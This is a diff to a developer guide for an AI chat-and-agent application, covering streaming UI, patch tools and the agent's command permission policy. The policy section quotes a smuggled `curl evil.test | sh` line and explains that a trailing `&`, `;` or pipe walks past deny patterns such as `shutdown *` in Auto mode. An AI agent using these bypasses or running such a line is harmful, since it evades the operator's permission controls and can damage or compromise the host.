diff --git a/CLAUDE.md b/CLAUDE.md index ddd68a4..2ad26c0 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -20,7 +20,7 @@ lembas info # paths + counts, useful when confused lembas secret-key # generate LEMBAS_SECRET_KEY lembas create-admin # create or promote an admin -pytest # 1420 tests, ~88s +pytest # 1483 tests, ~90s # PLAN.md tracks what is and is not built ruff check . # lint (line length 100) python scripts/build_artwork.py # regenerate artwork (SVG + PWA icons; @@ -276,16 +276,45 @@ sees that flag and re-renders the bubble from the database, so the row has to be authoritative first. The other order silently showed the previous turn's stored metrics. -**Stream frames carry whole blocks, not deltas.** `render`, `reasoning`, -`metrics` and `status` all send the complete value each time, and every one of -them is swapped with `innerHTML`. `reasoning` used `beforeend` and so repeated -everything already shown on every frame. That is what makes reattaching mid-reply -work: a follower arriving late has no earlier fragments to append to. It also -means Markdown is re-rendered whole, which is required anyway -- a list or code -fence is only correct once its context exists. +**A reply is a sequence of steps, and the marks are what make it one.** The +three stores a reply writes into -- `content`, `reasoning`, `tool_events` -- are +each append-only and each correct, and none of them records *interleaving*. So a +bubble was rendered as three zones (all the thinking, then every tool block, then +all the prose), which reads fine on a two-round answer and is unusable on a +forty-round one. `Message.steps_json` is a **table of contents** over the three, +not a fourth copy of anything: one entry per closed step holding the cumulative +length of each at that moment, written by `Generation.close_step()`. Because they +are marks, `build_messages`, compaction, titling and the copy button all still +see `message.content` as the one string it always was. `services/steps.py` does +the walk; **no marks means the old layout**, which is what every row written +before this reads back, with no version flag and no branch in the template. +`close_step` is called where a round ends *and* in `_gave_up`/`_wrap_up`, which +append outside the round loop -- without their own mark the one line saying why +the reply stopped lands in the step still being written, where the live view has +no tools slot to show it in. + +Splitting Markdown at those boundaries can leave a code fence open, which +markdown-it then runs to the end of the segment and mispairs every later fence +in the reply. `markdown.open_fence` plus a carry in `steps.py` closes it at the +end of one piece and reopens it at the start of the next. **Rendering only** -- +`message.content` is never touched. + +**Stream frames carry whole blocks, not deltas, and the split is closed versus +open.** `steps` carries every finished step and moves only when a round ends; +`reasoning` and `render` carry the step still being written and move at +streaming speed; `metrics` and `status` send the complete value each time. All +are swapped with `innerHTML`. That is what makes reattaching mid-reply work: a +follower arriving late has no earlier fragments to append to, and `_follow`'s +`rendered` list is a render cache rather than a wire protocol -- it starts empty +per follower, so the first frame carries the whole prefix. + +The split is what makes it affordable. The old `tools` frame re-rendered every +tool call in the reply twelve times a second, against an `output_bytes` budget of +a megabyte, so a long agent reply spent most of its wall clock re-rendering its +own transcript. Do not "simplify" this back into one frame. **Two frames must be able to blank themselves, and the rest must not.** -`reasoning`, `tools`, `render` and `canvas` are only sent when they have +`steps`, `reasoning`, `render` and `canvas` are only sent when they have something in them, so a frame can never wipe what is on screen. `metrics`, `status` and `ask` are sent on every version bump *including empty*, because each has to be able to clear: an approval card that survived being answered @@ -293,6 +322,35 @@ would be a button you could press twice. `canvas` is the sharpest case on the other side — an empty one would close every tab somebody had open, which is the same failure with the sign reversed. +The tail is the exception that proves it. When a round closes, what was being +written becomes a step *above* and the live containers must empty — so the +`steps` frame **re-emits those two containers empty as part of its own payload** +(`chat/_steps_tail.html`, included by `_steps.html` when `live`). The tail is +blanked by construction, and `reasoning`/`render` keep their never-blank guard. +The emit order inside one `_follow` pass is therefore load-bearing: `steps` +first, because it carries the containers the other two are swapped into. Safe +because htmx re-registers `sse-swap` on content it swaps in, the same property +the approval card's buttons already rely on. + +**An opened block has to survive the swap, and the ids are how.** The steps +container is replaced with `innerHTML` up to twelve times a second and the `done` +frame replaces the whole article, so a `
` somebody expanded shut itself +again — which at that rate is not an annoyance, it is a block that cannot be +opened at all. `web/static/js/steps.js` records which are open before a swap and +puts them back after. It works only because the ids are stable: +`tool-{message}-{step}-{n}` and `think-{message}-{step}` come from the mark +index, the marks are append-only, and **the finished bubble emits the same +container id and the same inner ids as the live one**. `hx-preserve` cannot do +this — it keeps a node *and its contents*, and these have to update. + +The other half was the scroll. `scrollThread` refused to scroll only when the +reader was far from the bottom, but somebody near the bottom who opens a block is +reading, and the next frame dragged them back down. There is an explicit `stick` +flag now: opening a `
` in the thread clears it, and returning to the +bottom sets it. The `toggle` listener **must** be registered in the capture +phase — `toggle` does not bubble, and without the third argument the whole +feature is silently dead in every browser. `tests/test_ui_js.py` pins that. + **Stopping sets a flag the producer checks -- except while it is paused.** `generation.request_stop()`; whatever arrived is kept and the message is marked `stopped`, distinct from `error`. In-process, so single-worker only. `cancel` is @@ -382,16 +440,28 @@ normal path with small models, and it was a way past the deny list. The fallback itself is right and is kept, in `tools.parse_arguments`; what was wrong was having it in only one of the two places. -**An unmatchable command line does not fall through a non-empty deny list.** -`policy.subject` returns `None` for anything carrying a shell metacharacter, so -no pattern can match it — right, and the whole reason `git *` in an allow list -cannot also mean `git status; curl evil.test | sh`. The original note said a -deny list needed no such care because failing open "returns you to the mode". -True of Manual, Edit and Plan. In **Auto** the mode is ALLOW, so `shutdown -h -now` asked and `shutdown -h now &` ran, and one character was the whole of the -difference. `decide` now asks when the subject is unmatchable *and* there is a -deny list — scoped to that, because otherwise Auto would ask about -`cd build && make`, which is most real commands. +**An unmatchable command line falls through to the mode, and in Auto that means +it runs.** `policy.subject` returns `None` for anything carrying a shell +metacharacter, so no pattern can match it. Half of that is absolute: it is the +whole reason `git *` in an allow list cannot also mean `git status; curl +evil.test | sh`, and it has never changed. + +The deny list has been decided both ways. There was a rule that an unmatchable +line ASKed whenever a deny list existed at all, so `shutdown -h now &` could not +run where `shutdown -h now` asked. It is gone. The shipped `deny_default` is +`["shutdown *", "reboot *", "mkfs*"]` — **non-empty out of the box** — so that +rule made *every* compound command ask in Auto: `cd build && make`, `pytest | +tail`, anything with a redirect. The mode whose entire purpose is not asking +asked about most real commands, and nobody experienced that as a security +control; they experienced it as Auto not working. + +So: a deny pattern can now be walked past with a trailing `&`, a `;` or a pipe. +Auto is the only mode where that is reachable — Manual, Edit and Plan all ASK on +`RISK_EXECUTE` regardless — and the admin page says so under the field. Anything +that must never happen belongs in that account's own permissions on the far +side, not in a pattern list. The upgrade that would restore both properties is to +match the deny list against **each segment** of a composed line; it is confined +to `decide` and is worth doing. **"Always allow this" is a per-chat list, and no pattern ever comes from a request.** It was a button that did nothing: the verdict was accepted, treated as @@ -409,6 +479,12 @@ takes an interaction id and a verdict, and nothing else. The items must be read is for. The list is shown in the composer's scope menu with a Clear beside it: a standing permission nobody can see is one nobody can revoke. +It is also allowed to store nothing and **not** allowed to say nothing. +`subject` yields no pattern for a composed command line, so pressing the button +on one is right to record nothing — and silently recording nothing is the button +that does nothing all over again. `_remember_always` returns +`(added, unmatchable)` and the route turns the second into a toast. + **A reply watches its own request size.** `_maybe_compact` runs once, *before* the first round; after that a tool round appends an assistant turn and a tool turn per call and nothing was looking. The only other guard, @@ -434,11 +510,17 @@ the reply *occupies* is the last round's prompt plus what was written. **A harness that fits is not the same as one with room.** The shipped set had grown to within 1,300 characters of the 16,000 ceiling, and crossing it is silent: `assemble` cuts the *tail*, which by fragment order is the project's own -AGENTS.md. It is 20,000 now, and `tests/test_harness.py` pins a **margin** +AGENTS.md. It went to 20,000, and `tests/test_harness.py` pins a **margin** (`HARNESS_MARGIN`) as well as a fit — the headroom is also where an administrator's own wording goes, and an override is usually longer than the default it replaces rather than shorter. +It is **24,000** now, and that is the margin doing its job rather than a number +being nudged: adding `core.commit` and `tool.agent_edits` took the headroom under +20% and the test said so, instead of somebody's AGENTS.md quietly losing its last +paragraph. Raising the ceiling costs nothing by itself — it is a limit, not a +size, and the assembled block is the same length either way. + **`MAX_HARNESS_CHARS` has to be larger than the budgets the same code grants.** It was 8000. The fragments alone are about 7,900 characters for an agent chat, and `index_chars` (2,000) and `instructions_chars` (4,000) are granted on top, @@ -465,8 +547,13 @@ a schema property costs tokens whether or not it is filled in. The wiring is a `_explained` wrapper at the `ToolDef`, next to the schema that declares it, so the two halves cannot drift. -**An agent chat is told to work to an objective, and to work out loud.** -`core.objective` and `core.narrate`, both `families=("agent",)`. +**An agent chat is told to work to an objective, to work out loud, and then to +stop talking and act.** `core.objective`, `core.narrate` and `core.commit`, all +`families=("agent",)`. The third is the counterweight to the second and was +added because a model without it read "work out loud" as licence to deliberate +for ever — pages of "Ready? GO! ... Wait, one last check ... Actually ..." and +not one tool call, ending a reply having done nothing. Narration is worth having; +what it needed was a bound. `core.narrate` is deliberately the opposite of `core.tools_preamble`'s "do not announce that you are about to" — which is right for a short answer, read once it is finished, and wrong for a long piece of work, which is *watched while it @@ -598,6 +685,28 @@ line that lost its leading space is read as blank, and nothing is written unless every hunk applies — a half-applied file is worse than a refused one, and the model cannot tell the difference without reading it again. +**A refused patch has to say where the file actually is.** The mismatch used to +quote one expected line against one found line, and a model whose numbering is +two out cannot see where it has landed — so it resends the identical patch, which +is most of the retry loop this tool produces across models. `patch._around` +prints `MISMATCH_WINDOW` numbered lines either side of the hint with the hinted +one marked, and says where the file ends when the hunk is past it. `tool.agent_edits` +is the prompt half: read it again, patch what is there, and do **not** fall back +to `file_write`, which replaces the whole file and drops everything the model did +not recall. + +**`file_edit` refuses a file it cannot read whole, and that one was silent data +loss.** It used to go through `_current`, which answers `""` for a file it cannot +read — right for `file_write`, where the file is about to be created, and wrong +here twice over. An unreadable file was reported to the model as a context +mismatch against "(past the end of the file)", i.e. as an empty one. And a file +larger than `max_output` came back **truncated**, was patched, and was written +back by a `write_file` that *replaces* — so the rest of the file was deleted, +silently, and reported as a success with a byte count. Both are refused now, in +those words. It is the same rule Canvas already follows: a truncated read opens +read-only, because saving back the first N bytes of a larger file is how the rest +of it goes. + **A write costs an extra round trip, deliberately.** `file_write` reads the old contents before writing so the transcript can show a real `+/-` diff instead of "1284 bytes". That is one SFTP trip on the hottest agent operation and it is a @@ -801,14 +910,37 @@ allowed to shrink past its content and scroll sideways, everything else is `flex: none`. There is a test asserting the file contains no `@media`, so nobody "fixes" a future version of this with a breakpoint. -**The `@` button became the scope menu.** It only ever inserted the character, -which the `@` key already does without a button. Typing `@` is untouched — -`composer.js` recognises the token on its own and knows nothing about this menu. -The switches inside it are `